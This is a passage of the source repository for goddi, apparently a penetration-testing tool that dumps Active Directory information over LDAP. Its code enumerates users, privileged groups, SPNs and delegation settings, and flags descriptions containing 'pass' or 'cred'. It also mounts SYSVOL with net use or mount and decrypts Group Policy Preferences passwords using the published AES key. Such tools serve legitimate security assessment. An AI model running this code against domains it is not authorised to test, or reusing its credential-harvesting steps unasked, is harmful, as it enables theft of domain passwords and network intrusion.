├── .gitignore
├── LICENSE
├── README.md
├── ddi
├── conn.go
├── gpp_unix.go
├── gpp_win.go
├── helper.go
├── ldap.go
└── xml.go
└── main.go
/.gitignore:
--------------------------------------------------------------------------------
1 | # Binaries for programs and plugins
2 | *.exe
3 | *.exe~
4 | *.dll
5 | *.so
6 | *.dylib
7 |
8 | # Test binary, build with `go test -c`
9 | *.test
10 |
11 | # Output of the go coverage tool, specifically when used with LiteIDE
12 | *.out
13 |
14 | # generated directories
15 | csv
16 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | goddi is provided under the 3-clause BSD license below.
2 |
3 | *************************************************************
4 |
5 | Copyright (c) 2018, NetSPI
6 | All rights reserved.
7 |
8 | Redistribution and use in source and binary forms, with or without
9 | modification, are permitted provided that the following conditions are met:
10 |
11 | * Redistributions of source code must retain the above copyright notice, this
12 | list of conditions and the following disclaimer.
13 |
14 | * Redistributions in binary form must reproduce the above copyright notice,
15 | this list of conditions and the following disclaimer in the documentation
16 | and/or other materials provided with the distribution.
17 |
18 | * Neither the name of goddi nor the names of its
19 | contributors may be used to endorse or promote products derived from
20 | this software without specific prior written permission.
21 |
22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
23 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
24 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
25 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
26 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
27 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
28 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
29 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
30 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
31 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ARCHIVE NOTE
2 | Project is no longer actively maintained.
3 |
4 | # goddi - Go dump domain info
5 |
6 | [![licence badge]][licence]
7 | [](https://github.com/NetSPI/goddi/releases/latest)
8 | [](https://goreportcard.com/report/github.com/NetSPI/goddi)
9 |
10 | [licence badge]:https://img.shields.io/badge/license-New%20BSD-blue.svg?style=flat-square
11 | [licence]:https://github.com/NetSPI/goddi/blob/master/LICENSE
12 |
13 | Based on work from Scott Sutherland (@\_nullbind), Antti Rantasaari, Eric Gruber (@egru), Will Schroeder (@harmj0y), and the PowerView authors.
14 |
15 | ## Install
16 |
17 | Use the executables in the releases section. If you want to build it yourself, make sure that your go environment is setup according to the Go setup doc. The goddi package also uses the below package.
18 |
19 | go get gopkg.in/ldap.v2
20 |
21 | ### Windows
22 |
23 | Tested on Windows 10 and 8.1 (go1.10 windows/amd64).
24 |
25 | ### Linux
26 |
27 | Tested on Kali Linux (go1.10 linux/amd64).
28 |
29 | - umount, mount, and cifs-utils need to be installed for mapping a share for GetGPP
30 | ```
31 | apt-get update
32 | apt-get install -y mount cifs-utils
33 | ```
34 | - make sure nothing is mounted at /mnt/goddi/
35 | - make sure to run with `sudo`
36 |
37 | ### Darwin
38 |
39 | Tested on Darwin 17.5.0 (go1.10.1 darwin/amd64)
40 |
41 | - make sure nothing is mounted at /mnt/goddi/
42 | - make sure to run with `sudo`
43 |
44 | ## Run
45 |
46 | When run, will default to using TLS (tls.Client method) over 636. On Linux, make sure to run with `sudo`.
47 |
48 | - username: Target user. Required parameter.
49 | - password: Target user's password. Required parameter.
50 | - domain: Full domain name. Required parameter.
51 | - dc: DC to target. Can be either an IP or full hostname. Required parameter.
52 | - startTLS: Use to StartTLS over 389.
53 | - unsafe: Use for a plaintext connection.
54 |
55 | ```
56 | PS C:\Users\Administrator\Desktop> .\godditest-windows-amd64.exe -username=testuser -password="testpass!" -domain="test.local" -dc="dc.test.local" -unsafe
57 | [i] Begin PLAINTEXT LDAP connection to 'dc.test.local'...
58 | [i] PLAINTEXT LDAP connection to 'dc.test.local' successful...
59 | [i] Begin BIND...
60 | [i] BIND with 'testuser' successful...
61 | [i] Begin dump domain info...
62 | [i] Domain Trusts: 1 found
63 | [i] Domain Controllers: 1 found
64 | [i] Users: 12 found
65 | [*] Warning: keyword 'pass' found!
66 | [*] Warning: keyword 'fall' found!
67 | [i] Domain Admins: 4 users found
68 | [i] Enterprise Admins: 1 users found
69 | [i] Forest Admins: 0 users found
70 | [i] Locked Users: 0 found
71 | [i] Disabled Users: 2 found
72 | [i] Groups: 45 found
73 | [i] Domain Sites: 1 found
74 | [i] Domain Subnets: 0 found
75 | [i] Domain Computers: 17 found
76 | [i] Deligated Users: 0 found
77 | [i] Users with passwords not set to expire: 6 found
78 | [i] Machine Accounts with passwords older than 45 days: 18 found
79 | [i] Domain OUs: 8 found
80 | [i] Domain Account Policy found
81 | [i] Domain GPOs: 7 found
82 | [i] FSMO Roles: 3 found
83 | [i] SPNs: 122 found
84 | [i] LAPS passwords: 0 found
85 | [i] GPP enumeration starting. This can take a bit...
86 | [i] GPP passwords: 7 found
87 | [i] CSVs written to 'csv' directory in C:\Users\Administrator\Desktop
88 | [i] Execution took 1.4217256s...
89 | [i] Exiting...
90 | ```
91 |
92 | ## Functionality
93 |
94 | StartTLS and TLS (tls.Client func) connections supported. Connections over TLS are default. All output goes to CSVs and are created in /csv/ in the current working directory. Dumps:
95 |
96 | - Domain users. Also searches Description for keywords and prints to a seperate csv ex. "Password" was found in the domain user description.
97 | - Users in priveleged user groups (DA, EA, FA).
98 | - Users with passwords not set to expire.
99 | - User accounts that have been locked or disabled.
100 | - Machine accounts with passwords older than 45 days.
101 | - Domain Computers.
102 | - Domain Controllers.
103 | - Sites and Subnets.
104 | - SPNs and includes csv flag if domain admin (a flag to note SPNs that are DAs in the SPN CSV output).
105 | - Trusted domain relationships.
106 | - Domain Groups.
107 | - Domain OUs.
108 | - Domain Account Policy.
109 | - Domain deligation users.
110 | - Domain GPOs.
111 | - Domain FSMO roles.
112 | - LAPS passwords.
113 | - GPP passwords. On Windows, defaults to mapping Q. If used, will try another mapping until success R, S, etc... On Linux, /mnt/goddi is used.
114 |
115 | ## Roadmap
116 |
117 | - Add support for running from current user context on Windows. Automatically get current domain and run in current user context.
118 | - Add robust error handling for GetGPP (net use and mount)
119 | - Improve XML parsing for GetGPP
120 |
121 | ## Known Issues
122 |
123 | - Execution can fail at GetGPP if there are errors mapping a share or mounting /mnt/goddi. If goddi fails during GetGPP do the following checks.
124 | - Windows: check what shares are mounted with `net use`. If there is a share mounted to the target dc from goddi, remove it with `net use Q: /delete` where Q: is the problematic share.
125 | - Linux: check if /mnt/goddi exists. If something is mounted, use `umount /mnt/goddi`. Make sure goddi is run with sudo.
126 |
127 | ## References
128 |
129 | - Scott Sutherland (@\_nullbind)
130 | - Antti Rantasaari
131 | - Eric Gruber (@egru)
132 | - Will Schroeder (@harmj0y)
133 | - Karl Fosaaen (@kfosaaen)
134 | - @\_RastaMouse
135 | - Chris Campbell (@obscuresec)
136 | - Leon Teale (@LeonTeale)
137 |
--------------------------------------------------------------------------------
/ddi/conn.go:
--------------------------------------------------------------------------------
1 | // Functions to handle ldap connections and bind
2 |
3 | package goddi
4 |
5 | import (
6 | "crypto/tls"
7 | "fmt"
8 | "log"
9 |
10 | "gopkg.in/ldap.v2"
11 | )
12 |
13 | // LdapInfo contains connection info
14 | type LdapInfo struct {
15 | LdapServer string
16 | LdapIP string
17 | LdapPort uint16
18 | LdapTLSPort uint16
19 | User string
20 | Usergpp string
21 | Pass string
22 | Domain string
23 | Conn *ldap.Conn
24 | Unsafe bool
25 | StartTLS bool
26 | }
27 |
28 | func dial(li *LdapInfo) {
29 |
30 | if li.Unsafe {
31 |
32 | fmt.Printf("[i] Begin PLAINTEXT LDAP connection to '%s' (%s)...\n", li.LdapServer, li.LdapIP)
33 | conn, err := ldap.Dial("tcp", fmt.Sprintf("%s:%d", li.LdapServer, li.LdapPort))
34 | if err != nil {
35 | log.Fatal(err)
36 | }
37 |
38 | fmt.Printf("[i] PLAINTEXT LDAP connection to '%s' (%s) successful...\n", li.LdapServer, li.LdapIP)
39 | li.Conn = conn
40 |
41 | } else if li.StartTLS {
42 |
43 | fmt.Printf("[i] Begin PLAINTEXT LDAP connection to '%s' (%s)...\n", li.LdapServer, li.LdapIP)
44 | conn, err := ldap.Dial("tcp", fmt.Sprintf("%s:%d", li.LdapServer, li.LdapPort))
45 | if err != nil {
46 | log.Fatal(err)
47 | }
48 |
49 | fmt.Printf("[i] PLAINTEXT LDAP connection to '%s' (%s) successful...\n[i] Upgrade to StartTLS connection...\n", li.LdapServer, li.LdapIP)
50 |
51 | err = conn.StartTLS(&tls.Config{ServerName: li.LdapServer})
52 | if err != nil {
53 | log.Fatal(err)
54 | }
55 | fmt.Printf("[i] Upgrade to StartTLS connection successful...\n")
56 | li.Conn = conn
57 |
58 | } else {
59 |
60 | fmt.Printf("[i] Begin LDAP TLS connection to '%s' (%s)...\n", li.LdapServer, li.LdapIP)
61 | config := &tls.Config{ServerName: li.LdapServer}
62 | conn, err := ldap.DialTLS("tcp", fmt.Sprintf("%s:%d", li.LdapServer, li.LdapTLSPort), config)
63 | if err != nil {
64 | log.Fatal(err)
65 | }
66 |
67 | fmt.Printf("[i] LDAP TLS connection to '%s' (%s) successful...\n", li.LdapServer, li.LdapIP)
68 | li.Conn = conn
69 | }
70 | }
71 |
72 | // Connect authenticated bind to ldap connection
73 | func Connect(li *LdapInfo) {
74 |
75 | dial(li)
76 | fmt.Printf("[i] Begin BIND...\n")
77 | err := li.Conn.Bind(li.User, li.Pass)
78 | if err != nil {
79 | log.Fatal(err)
80 | }
81 | fmt.Printf("[i] BIND with '%s' successful...\n[i] Begin dump domain info...\n", li.User)
82 | }
83 |
--------------------------------------------------------------------------------
/ddi/gpp_unix.go:
--------------------------------------------------------------------------------
1 | // +build !windows
2 |
3 | package goddi
4 |
5 | import (
6 | "fmt"
7 | "log"
8 | "os"
9 | "os/exec"
10 | "runtime"
11 |
12 | "gopkg.in/ldap.v2"
13 | )
14 |
15 | // GetGPP grabs all GPP passwords
16 | // Reference: Scott Sutherland (@_nullbind), Chris Campbell (@obscuresec)
17 | // https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
18 | func GetGPP(conn *ldap.Conn, baseDN string, dc string, user string, pass string) {
19 |
20 | fmt.Printf("[i] GPP enumeration starting. This can take a bit...\n")
21 |
22 | var filepaths = []string{
23 | `/Machine/Preferences/Groups/Groups.xml`,
24 | `/User/Preferences/Groups/Groups.xml`,
25 | `/Machine/Preferences/Services/Services.xml`,
26 | `/User/Preferences/Services/Services.xml`,
27 | `/Machine/Preferences/Scheduledtasks/Scheduledtasks.xml`,
28 | `/User/Preferences/Scheduledtasks/Scheduledtasks.xml`,
29 | `/Machine/Preferences/DataSources/DataSources.xml`,
30 | `/User/Preferences/DataSources/DataSources.xml`,
31 | `/Machine/Preferences/Printers/Printers.xml`,
32 | `/User/Preferences/Printers/Printers.xml`,
33 | `/Machine/Preferences/Drives/Drives.xml`,
34 | `/User/Preferences/Drives/Drives.xml`}
35 |
36 | attributes := []string{
37 | "filepath",
38 | "username",
39 | "cpassword",
40 | "password",
41 | "changed",
42 | "newname"}
43 |
44 | csv := [][]string{}
45 | csv = append(csv, attributes)
46 | mntpoint := "/mnt/goddi/"
47 |
48 | existMount(mntpoint)
49 | checkMount(mntpoint)
50 |
51 | var fsType, mntopt, address string
52 | switch os := runtime.GOOS; os {
53 | case "darwin":
54 | fsType = "smbfs"
55 | address = fmt.Sprintf(`//%s;%s:%s@%s/sysvol/`, baseDN, user, pass, dc)
56 | default:
57 | fsType = "cifs"
58 | address = fmt.Sprintf(`//%s/sysvol/`, dc)
59 | mntopt = fmt.Sprintf(`user=%s,password=%s,vers=3.0`, user, pass)
60 | }
61 |
62 | _, err := mountCmd(fsType, mntopt, address, mntpoint)
63 |
64 | if err != nil {
65 | log.Fatal(err)
66 | }
67 |
68 | list := getSubDirs(mntpoint)
69 | gpodomain := list[0]
70 | policypath := mntpoint + gpodomain + `/Policies`
71 |
72 | var xmlfiles = []string{}
73 |
74 | policydirs := getSubDirs(policypath)
75 | for _, subdir := range policydirs {
76 | for _, path := range filepaths {
77 | fullpath := policypath + `/` + subdir + path
78 | if _, err := os.Stat(fullpath); !os.IsNotExist(err) && !os.IsPermission(err) {
79 | xmlfiles = append(xmlfiles, fullpath)
80 | }
81 | }
82 | }
83 |
84 | csvptr := &csv
85 | for _, file := range xmlfiles {
86 | parseXML(file, csvptr)
87 | }
88 |
89 | fmt.Printf("[i] GPP passwords: %d found\n", len(csv)-1)
90 | writeCSV("Domain_Passwords_GPP", csv)
91 |
92 | _, errs := removeUnix(mntpoint)
93 | if errs != nil {
94 | log.Fatal(errs)
95 | }
96 |
97 | }
98 |
99 | // Check if mount exists
100 | func existMount(mntpoint string) {
101 | // if /mnt/goddi does not exist, mkdir the directory
102 | if _, err := os.Stat(mntpoint); os.IsNotExist(err) {
103 | os.Mkdir(mntpoint, os.ModePerm)
104 | fmt.Println("[i] /mnt/goddi mount point created...\n")
105 | }
106 | }
107 |
108 | // Check if mount point is mounted
109 | func checkMount(mntpoint string) {
110 |
111 | if len(getSubDirs(mntpoint)) != 0 {
112 | fmt.Printf("[i] /mnt/goddi mounted, unmounting now...\n")
113 | _, err := removeUnix(mntpoint)
114 | if err != nil {
115 | log.Fatal(err)
116 | }
117 | }
118 | }
119 |
120 | // mountCmd maps a unix/darwin share
121 | func mountCmd(fsType, option, address, mntpoint string) ([]byte, error) {
122 | return exec.Command("mount", "-t", fsType, "-o", option, address, mntpoint).CombinedOutput()
123 | }
124 |
125 | // Remove a unix share
126 | func removeUnix(mntpoint string) ([]byte, error) {
127 | return exec.Command("umount", mntpoint).CombinedOutput()
128 | }
129 |
--------------------------------------------------------------------------------
/ddi/gpp_win.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package goddi
4 |
5 | import (
6 | "fmt"
7 | "log"
8 | "os"
9 | "os/exec"
10 |
11 | "gopkg.in/ldap.v2"
12 | )
13 |
14 | // GetGPP grabs all GPP passwords
15 | // Reference: Scott Sutherland (@_nullbind), Chris Campbell (@obscuresec)
16 | // https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
17 | func GetGPP(conn *ldap.Conn, domain string, dc string, user string, pass string) {
18 |
19 | fmt.Printf("[i] GPP enumeration starting. This can take a bit...\n")
20 |
21 | var filepaths = []string{
22 | `\Machine\Preferences\Groups\Groups.xml`,
23 | `\User\Preferences\Groups\Groups.xml`,
24 | `\Machine\Preferences\Services\Services.xml`,
25 | `\User\Preferences\Services\Services.xml`,
26 | `\Machine\Preferences\Scheduledtasks\Scheduledtasks.xml`,
27 | `\User\Preferences\Scheduledtasks\Scheduledtasks.xml`,
28 | `\Machine\Preferences\DataSources\DataSources.xml`,
29 | `\User\Preferences\DataSources\DataSources.xml`,
30 | `\Machine\Preferences\Printers\Printers.xml`,
31 | `\User\Preferences\Printers\Printers.xml`,
32 | `\Machine\Preferences\Drives\Drives.xml`,
33 | `\User\Preferences\Drives\Drives.xml`}
34 |
35 | attributes := []string{
36 | "filepath",
37 | "username",
38 | "cpassword",
39 | "password",
40 | "changed",
41 | "newname"}
42 |
43 | csv := [][]string{}
44 | csv = append(csv, attributes)
45 | letter := "Q:"
46 | drive := letter + `\`
47 |
48 | letter, drive = existsDrive(letter, drive)
49 |
50 | _, err := mapDrive(letter, `\\`+dc+`\SYSVOL`, domain, user, pass)
51 | if err != nil {
52 | log.Fatal(err)
53 | }
54 |
55 | list := getSubDirs(drive)
56 | gpodomain := list[0]
57 | policypath := drive + gpodomain + `\Policies`
58 |
59 | var xmlfiles = []string{}
60 |
61 | policydirs := getSubDirs(policypath)
62 | for _, subdir := range policydirs {
63 | for _, path := range filepaths {
64 | fullpath := policypath + `\` + subdir + path
65 | if _, err := os.Stat(fullpath); !os.IsNotExist(err) && !os.IsPermission(err) {
66 | xmlfiles = append(xmlfiles, fullpath)
67 | }
68 | }
69 | }
70 |
71 | csvptr := &csv
72 | for _, file := range xmlfiles {
73 | parseXML(file, csvptr)
74 | }
75 |
76 | fmt.Printf("[i] GPP passwords: %d found\n", len(csv)-1)
77 | writeCSV("Domain_Passwords_GPP", csv)
78 |
79 | _, errs := removeDrive(letter)
80 | if errs != nil {
81 | log.Fatal(errs)
82 | }
83 |
84 | }
85 |
86 | // Helper function to check for a used drive and enumerate through available drives
87 | func existsDrive(letter string, drive string) (string, string) {
88 | alpha := []string{"Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",
89 | "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M",
90 | "N", "O", "P"}
91 | if _, err := os.Stat(drive); !os.IsNotExist(err) {
92 | for _, i := range alpha {
93 | letter = i + ":"
94 | drive = letter + `\`
95 | if _, err := os.Stat(drive); os.IsNotExist(err) {
96 | break
97 | }
98 | }
99 | }
100 | return letter, drive
101 | }
102 |
103 | // Map a drive
104 | func mapDrive(letter string, address string, domain string, user string, pw string) ([]byte, error) {
105 | return exec.Command("net", "use", letter, address, fmt.Sprintf(`/user:%s\%s`, domain, user), pw, "/P:YES").CombinedOutput()
106 | }
107 |
108 | // Remove a drive
109 | func removeDrive(letter string) ([]byte, error) {
110 | return exec.Command("net", "use", letter, "/delete").CombinedOutput()
111 | }
112 |
--------------------------------------------------------------------------------
/ddi/helper.go:
--------------------------------------------------------------------------------
1 | // Helper functions
2 |
3 | package goddi
4 |
5 | import (
6 | "crypto/aes"
7 | "crypto/cipher"
8 | "encoding/base64"
9 | "encoding/csv"
10 | "encoding/hex"
11 | "log"
12 | "math"
13 | "net"
14 | "os"
15 | "path/filepath"
16 | "strconv"
17 | "strings"
18 | "time"
19 | )
20 |
21 | // WindowsEpochFiletime January 1, 1601 UTC (coordinate universal time)
22 | const WindowsEpochFiletime int64 = 116444736000000000
23 |
24 | // Writing output to csv
25 | // Reference: https://golangcode.com/write-data-to-a-csv-file/
26 | func writeCSV(filename string, data [][]string) {
27 |
28 | cwd := GetCWD()
29 | csvdir := cwd + "/csv/"
30 | if _, err := os.Stat(csvdir); os.IsNotExist(err) {
31 | os.Mkdir(csvdir, os.ModePerm)
32 | }
33 |
34 | file, err := os.Create(csvdir + filename + ".csv")
35 | if err != nil {
36 | log.Fatal(err)
37 | }
38 | defer file.Close()
39 |
40 | writer := csv.NewWriter(file)
41 | defer writer.Flush()
42 |
43 | for _, value := range data {
44 | err := writer.Write(value)
45 | if err != nil {
46 | log.Fatal(err)
47 | }
48 | }
49 | }
50 |
51 | // Get sub directories
52 | func getSubDirs(drive string) []string {
53 |
54 | file, err := os.Open(drive)
55 | if err != nil {
56 | log.Fatal(err)
57 | }
58 | defer file.Close()
59 |
60 | list, _ := file.Readdirnames(0)
61 | return list
62 | }
63 |
64 | // GetCWD returns executable's current directory
65 | func GetCWD() string {
66 |
67 | exe, err := os.Executable()
68 | if err != nil {
69 | log.Fatal(err)
70 | }
71 | cwd := filepath.Dir(exe)
72 | return cwd
73 | }
74 |
75 | // Helper function to decrypt GPP cpassword
76 | // References:
77 | // https://github.com/leonteale/pentestpackage/blob/master/Gpprefdecrypt.py
78 | // https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
79 | func decrypt(cpassword string) string {
80 |
81 | // 32 byte AES key
82 | // http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
83 | key := "4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"
84 |
85 | // hex decode the key
86 | decoded, _ := hex.DecodeString(key)
87 | block, err := aes.NewCipher(decoded)
88 | if err != nil {
89 | log.Fatal(err)
90 | }
91 |
92 | // add padding to base64 cpassword if necessary
93 | m := len(cpassword) % 4
94 | if m != 0 {
95 | cpassword += strings.Repeat("=", 4-m)
96 | }
97 |
98 | // base64 decode cpassword
99 | decodedpassword, errs := base64.StdEncoding.DecodeString(cpassword)
100 | if errs != nil {
101 | log.Fatal(errs)
102 | }
103 |
104 | if len(decodedpassword) < aes.BlockSize {
105 | log.Fatal("Cpassword block size too short...\n")
106 | }
107 |
108 | var iv = []byte{00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00}
109 |
110 | if (len(decodedpassword) % aes.BlockSize) != 0 {
111 | log.Fatal("Blocksize must be multiple of decoded message length...\n")
112 | }
113 |
114 | cbc := cipher.NewCBCDecrypter(block, iv)
115 | cbc.CryptBlocks(decodedpassword, decodedpassword)
116 |
117 | // remove the padding at the end of password
118 | length := len(decodedpassword)
119 | unpadding := int(decodedpassword[length-1])
120 | clear := decodedpassword[:(length - unpadding)]
121 |
122 | return string(clear)
123 | }
124 |
125 | // Converts ldap password age
126 | func convertPwdAge(pwdage string) string {
127 |
128 | f, _ := strconv.ParseFloat((strings.Replace(pwdage, "-", "", -1)), 64)
129 | age := ((f / (60 * 10000000)) / 60) / 24
130 | flr := math.Floor(age)
131 | s := strconv.Itoa(int(flr))
132 |
133 | return s
134 | }
135 |
136 | // Convers ldap lockout
137 | func convertLockout(lockout string) string {
138 |
139 | i, _ := strconv.Atoi(strings.Replace(lockout, "-", "", -1))
140 | age := i / (60 * 10000000)
141 | s := strconv.Itoa(age)
142 |
143 | return s
144 | }
145 |
146 | // Returns current time minus number of days ago in Windows Filetime
147 | // https://support.microsoft.com/en-us/help/167296/how-to-convert-a-unix-time-t-to-a-win32-filetime-or-systemtime
148 | func getWinFiletime(numdays int) string {
149 |
150 | win := time.Now().UTC().UnixNano()
151 | win /= 100
152 | win += WindowsEpochFiletime
153 |
154 | nanosago := 10000000 * 60 * 60 * 24 * int64(numdays)
155 | nanosago /= 100
156 | pasttime := win - nanosago
157 |
158 | str := strconv.FormatInt(pasttime, 10)
159 | return str
160 | }
161 |
162 | // https://stackoverflow.com/questions/24836044/case-insensitive-string-search-in-golang
163 | func caseInsensitiveContains(s, substr string) bool {
164 | return strings.Contains(strings.ToUpper(s), strings.ToUpper(substr))
165 | }
166 |
167 | // ValidateIPHostname parses and returns hostname and ip for dc
168 | func ValidateIPHostname(ldapServer string, domain string) (string, string) {
169 | var ldapIP string
170 | if net.ParseIP(ldapServer) != nil {
171 | ldapIP = ldapServer
172 | hostnames, err := net.LookupAddr(ldapServer)
173 | if err != nil {
174 | log.Fatal(err)
175 | }
176 | for _, host := range hostnames {
177 | if caseInsensitiveContains(host, domain) {
178 | ldapServer = strings.Trim(host, ".")
179 | }
180 | }
181 | } else {
182 | addr, err := net.LookupIP(ldapServer)
183 | if err != nil {
184 | log.Fatal(err)
185 | }
186 | ldapIP = addr[0].String()
187 | }
188 | return ldapServer, ldapIP
189 | }
190 |
--------------------------------------------------------------------------------
/ddi/ldap.go:
--------------------------------------------------------------------------------
1 | /*
2 | Package goddi contains ldap query functions
3 | https://msdn.microsoft.com/en-us/library/ms675090(v=vs.85).aspx
4 | https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx
5 | */
6 | package goddi
7 |
8 | import (
9 | "fmt"
10 | "gopkg.in/ldap.v2"
11 | "log"
12 | "strings"
13 | )
14 |
15 | // GetUsers all domain users and checks for sensitive data in Description
16 | // Reference: Scott Sutherland (@_nullbind)
17 | func GetUsers(conn *ldap.Conn, baseDN string) {
18 |
19 | attributes := []string{
20 | "sAMAccountName",
21 | "sAMAccountType",
22 | "userPrincipalName",
23 | "displayName",
24 | "givenName",
25 | "description",
26 | "adminCount",
27 | "homeDirectory",
28 | "memberOf"}
29 | keywords := []string{
30 | "cred",
31 | "pass",
32 | "pw",
33 | "spring",
34 | "summer",
35 | "fall",
36 | "winter"}
37 | filter := "(&(objectCategory=person)(objectClass=user)(SamAccountName=*))"
38 | csv := [][]string{}
39 | csv = append(csv, attributes)
40 | warning := [][]string{}
41 | warning = append(warning, attributes)
42 | boolwarn := false
43 |
44 | sr := ldapSearch(baseDN, filter, attributes, conn)
45 |
46 | fmt.Printf("[i] Users: %d found\n", len(sr.Entries))
47 |
48 | for _, entry := range sr.Entries {
49 | sam := entry.GetAttributeValue("sAMAccountName")
50 | samtype := entry.GetAttributeValue("sAMAccountType")
51 | upn := entry.GetAttributeValue("userPrincipalName")
52 | disname := entry.GetAttributeValue("displayName")
53 | given := entry.GetAttributeValue("givenName")
54 | desc := entry.GetAttributeValue("description")
55 | adm := entry.GetAttributeValue("adminCount")
56 | homedir := entry.GetAttributeValue("homeDirectory")
57 | mem := strings.Join(entry.GetAttributeValues("memberOf"), " ")
58 | data := []string{
59 | sam,
60 | samtype,
61 | upn,
62 | disname,
63 | given,
64 | desc,
65 | adm,
66 | homedir,
67 | mem}
68 |
69 | csv = append(csv, data)
70 |
71 | for _, keyword := range keywords {
72 | if caseInsensitiveContains(desc, keyword) {
73 | fmt.Printf("\t[*] Warning: keyword '%s' found!\n", keyword)
74 | boolwarn = true
75 | warning = append(warning, data)
76 | }
77 | }
78 | }
79 |
80 | writeCSV("Domain_Users", csv)
81 |
82 | if boolwarn {
83 | writeCSV("POTENTIAL_SENSITIVE_DATA_FOUND", warning)
84 | }
85 | }
86 |
87 | // GetUsersLocked locked out users
88 | // Reference: Scott Sutherland (@_nullbind)
89 | func GetUsersLocked(conn *ldap.Conn, baseDN string) {
90 |
91 | attributes := []string{
92 | "sAMAccountName",
93 | "sAMAccountType",
94 | "userPrincipalName",
95 | "displayName",
96 | "givenName",
97 | "description",
98 | "adminCount",
99 | "homeDirectory",
100 | "memberOf"}
101 | filter := "(&(sAMAccountType=805306368)(lockoutTime>=1))"
102 | csv := [][]string{}
103 | csv = append(csv, attributes)
104 |
105 | sr := ldapSearch(baseDN, filter, attributes, conn)
106 |
107 | fmt.Printf("[i] Locked Users: %d found\n", len(sr.Entries))
108 | for _, entry := range sr.Entries {
109 | data := []string{
110 | entry.GetAttributeValue("sAMAccountName"),
111 | entry.GetAttributeValue("sAMAccountType"),
112 | entry.GetAttributeValue("userPrincipalName"),
113 | entry.GetAttributeValue("displayName"),
114 | entry.GetAttributeValue("givenName"),
115 | entry.GetAttributeValue("description"),
116 | entry.GetAttributeValue("adminCount"),
117 | entry.GetAttributeValue("homeDirectory"),
118 | entry.GetAttributeValue("memberOf")}
119 | csv = append(csv, data)
120 | }
121 | writeCSV("Domain_Users_Locked", csv)
122 | }
123 |
124 | // GetUsersDisabled disabled users
125 | // Reference: Scott Sutherland (@_nullbind)
126 | func GetUsersDisabled(conn *ldap.Conn, baseDN string) {
127 |
128 | attributes := []string{
129 | "sAMAccountName",
130 | "sAMAccountType",
131 | "userPrincipalName",
132 | "displayName",
133 | "givenName",
134 | "description",
135 | "adminCount",
136 | "homeDirectory",
137 | "memberOf"}
138 | filter := "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=2))"
139 | csv := [][]string{}
140 | csv = append(csv, attributes)
141 |
142 | sr := ldapSearch(baseDN, filter, attributes, conn)
143 |
144 | fmt.Printf("[i] Disabled Users: %d found\n", len(sr.Entries))
145 | for _, entry := range sr.Entries {
146 | data := []string{
147 | entry.GetAttributeValue("sAMAccountName"),
148 | entry.GetAttributeValue("sAMAccountType"),
149 | entry.GetAttributeValue("userPrincipalName"),
150 | entry.GetAttributeValue("displayName"),
151 | entry.GetAttributeValue("givenName"),
152 | entry.GetAttributeValue("description"),
153 | entry.GetAttributeValue("adminCount"),
154 | entry.GetAttributeValue("homeDirectory"),
155 | entry.GetAttributeValue("memberOf")}
156 | csv = append(csv, data)
157 | }
158 | writeCSV("Domain_Users_Disabled", csv)
159 | }
160 |
161 | // GetUsersDeligation domain delegation
162 | // Reference: Scott Sutherland (@_nullbind)
163 | func GetUsersDeligation(conn *ldap.Conn, baseDN string) {
164 |
165 | attributes := []string{
166 | "sAMAccountName",
167 | "description",
168 | "whenCreated",
169 | "whenChanged",
170 | "msDS-AllowedToDelegateTo"}
171 | filter := "(&(samAccountType=805306368)(|(UserAccountControl:1.2.840.113556.1.4.803:=524288)(UserAccountControl:1.2.840.113556.1.4.803:=16777216)))"
172 | csv := [][]string{}
173 | csv = append(csv, attributes)
174 |
175 | sr := ldapSearch(baseDN, filter, attributes, conn)
176 |
177 | fmt.Printf("[i] Deligated Users: %d found\n", len(sr.Entries))
178 | for _, entry := range sr.Entries {
179 | data := []string{
180 | entry.GetAttributeValue("sAMAccountName"),
181 | entry.GetAttributeValue("description"),
182 | entry.GetAttributeValue("whenCreated"),
183 | entry.GetAttributeValue("whenChanged"),
184 | entry.GetAttributeValue("msDS-AllowedToDelegateTo")}
185 | csv = append(csv, data)
186 | }
187 | writeCSV("Domain_Users_Deligation", csv)
188 | }
189 |
190 | // GetUsersNoExpire users with passwords not set to expire
191 | // Reference: Scott Sutherland (@_nullbind)
192 | func GetUsersNoExpire(conn *ldap.Conn, baseDN string) {
193 |
194 | attributes := []string{
195 | "sAMAccountName",
196 | "displayName",
197 | "description",
198 | "whenCreated",
199 | "whenChanged"}
200 | filter := "(&(samAccountType=805306368)(|(UserAccountControl:1.2.840.113556.1.4.803:=65536)(msDS-UserDontExpirePassword=TRUE)))"
201 | csv := [][]string{}
